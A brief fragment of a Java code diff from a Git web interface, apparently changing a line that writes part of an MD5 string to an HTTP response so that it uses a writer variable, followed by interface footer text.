response.getWriter().write(md5.substring(16));
|
writer.write(md5.substring(16));
|
||||||
}
|
}
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|||||||
Reference in New Issue
Block a user